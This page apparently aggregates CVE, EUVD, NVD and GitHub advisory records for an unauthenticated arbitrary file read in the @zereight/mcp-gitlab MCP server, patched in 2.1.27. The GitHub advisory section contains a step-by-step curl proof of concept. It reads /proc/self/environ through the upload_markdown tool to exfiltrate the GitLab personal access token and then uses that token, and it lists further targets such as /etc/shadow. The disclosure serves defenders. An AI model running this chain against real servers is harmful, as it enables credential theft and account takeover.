@zereight/mcp-gitlab's unauthenticated arbitrary file read via `upload_markdown` enables PAT exfiltration and full account takeover

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

`@zereight/mcp-gitlab` is a Model Context Protocol server for GitLab. Prior to version 2.1.27, the SSE transport mode (`SSE=true`) exposes all MCP tools without any authentication. The `upload_markdown` tool reads arbitrary files from the server's local filesystem via an unsanitized `file_path` parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read `/proc/self/environ` to steal the server's `GITLAB_PERSONAL_ACCESS_TOKEN` and achieve full GitLab account takeover. This is the default configuration for Docker deployments. Version 2.1.27 contains a patch.

Source published

15 Sep 2026 21:09:00 UTC

Source modified

16 Sep 2026 13:59:32 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

`@zereight/mcp-gitlab` is a Model Context Protocol server for GitLab. Prior to version 2.1.27, the SSE transport mode (`SSE=true`) exposes all MCP tools without any authentication. The `upload_markdown` tool reads arbitrary files from the server's local filesystem via an unsanitized `file_path` parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read `/proc/self/environ` to steal the server's `GITLAB_PERSONAL_ACCESS_TOKEN` and achieve full GitLab account takeover. This is the default configuration for Docker deployments. Version 2.1.27 contains a patch.

Source published

Sep 15, 2026, 9:09:00 PM (timezone not stated)

Source modified

Sep 16, 2026, 1:59:32 PM (timezone not stated)

Observed here

11 Nov 2026 17:11:26 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

`@zereight/mcp-gitlab` is a Model Context Protocol server for GitLab. Prior to version 2.1.27, the SSE transport mode (`SSE=true`) exposes all MCP tools without any authentication. The `upload_markdown` tool reads arbitrary files from the server's local filesystem via an unsanitized `file_path` parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read `/proc/self/environ` to steal the server's `GITLAB_PERSONAL_ACCESS_TOKEN` and achieve full GitLab account takeover. This is the default configuration for Docker deployments. Version 2.1.27 contains a patch.

Source published

15 Sep 2026 22:16:58 UTC

Source modified

30 Sep 2026 17:51:56 UTC

Observed here

25 Oct 2026 14:19:22 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

### Summary The SSE transport mode (`SSE=true`) exposes all MCP tools without any authentication. The `upload_markdown` tool reads arbitrary files from the server's local filesystem via an unsanitized `file_path` parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read `/proc/self/environ` to steal the server's `GITLAB_PERSONAL_ACCESS_TOKEN` and achieve full GitLab account takeover. This is the default configuration for Docker deployments. ### Details Two issues chain together: **1. No authentication on SSE transport (`src/index.ts:7350-7388`)** When `SSE=true` (the intended mode for Docker deployments per `docker-compose.yaml`), the `/sse` and `/messages` endpoints have zero authentication middleware. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server's configured PAT. ```typescript // src/index.ts:7354 — no auth check app.get("/sse", async (_: Request, res: Response) => { const serverInstance = createServer(); const transport = new SSEServerTransport("/messages", res); await serverInstance.connect(transport); }); ``` Remote Authorization (`REMOTE_AUTHORIZATION=true`) is explicitly incompatible with SSE mode (`src/index.ts:1833-1839`), so there is no way to add per-request auth in this transport. **2. Arbitrary file read in `upload_markdown` (`src/index.ts:5461-5503`)** The `upload_markdown` tool calls `fs.readFileSync(filePath)` where `filePath` comes directly from user input with no validation. The Zod schema (`src/schemas.ts:2150-2153`) defines `file_path` as `z.string()` with no path restrictions, allowlists, or sandboxing. ```typescript async function markdownUpload(projectId: string, filePath: string) { if (!fs.existsSync(filePath)) { throw new Error(`File not found: ${filePath}`); } const fileBuffer = fs.readFileSync(filePath); // Arbitrary file read — no path validation // ... uploads to GitLab project via POST /projects/:id/uploads } ``` This tool is in the `users` toolset, which is **enabled by default**. **Docker amplification:** The `Dockerfile` has no `USER` directive, so the process runs as root. The `docker-compose.yaml` maps `3002:3002`, which binds `0.0.0.0` by default, exposing the unauthenticated endpoint to the network. ### PoC **Prerequisites:** - A running `@zereight/mcp-gitlab` instance with `SSE=true` and `GITLAB_PERSONAL_ACCESS_TOKEN` set (this is the default Docker deployment config) - Network access to the server's port (default: 3002) - A GitLab project ID the PAT has write access to (use `list_projects` to enumerate) **Steps:** ```bash # 1. Connect to the unauthenticated SSE endpoint and capture the session ID SESSION_ID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=\K[^&\s]+') # 2. (Optional) Enumerate accessible projects to find a writable project ID curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \ -H "Content-Type: application/json" \ -d '{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "list_projects", "arguments": {"owned": true} } }' # 3. Read /proc/self/environ (contains GITLAB_PERSONAL_ACCESS_TOKEN in plaintext) # and upload it to a GitLab project curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \ -H "Content-Type: application/json" \ -d '{ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "upload_markdown", "arguments": { "project_id": "<WRITABLE_PROJECT_ID>", "file_path": "/proc/self/environ" } } }' # 4. The response contains a GitLab upload URL like: # {"markdown": "", "url": "/uploads/abc123def456/environ"} # # 5. Retrieve the uploaded file from GitLab: curl "https://gitlab.example.com/<namespace>/<project>/uploads/abc123def456/environ" # 6. The file contains NUL-separated environment variables including: # GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx # # 7. Use the stolen PAT for full GitLab API access: curl -H "Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx" "https://gitlab.example.com/api/v4/user" ``` **Other exfiltrable targets (running as root in Docker):** | File | Contents | |---|---| | `/proc/self/environ` | All env vars including `GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxx` | | `/proc/self/cmdline` | Command line args (token if passed via CLI) | | `/etc/shadow` | System password hashes | | `/app/build/index.js` | Full application source code | | `~/.gitlab-mcp-token.json` | OAuth tokens (if OAuth mode was used) | ### Impact **Unauthenticated full GitLab account takeover.** Any attacker with network access to the MCP server port can steal the Personal Access Token and gain complete access to the GitLab instance as the token owner - including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. No credentials or user interaction are required. This is the default configuration for Docker deployments

Source published

16 Sep 2026 13:48:28 UTC

Source modified

16 Sep 2026 14:00:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · CRITICAL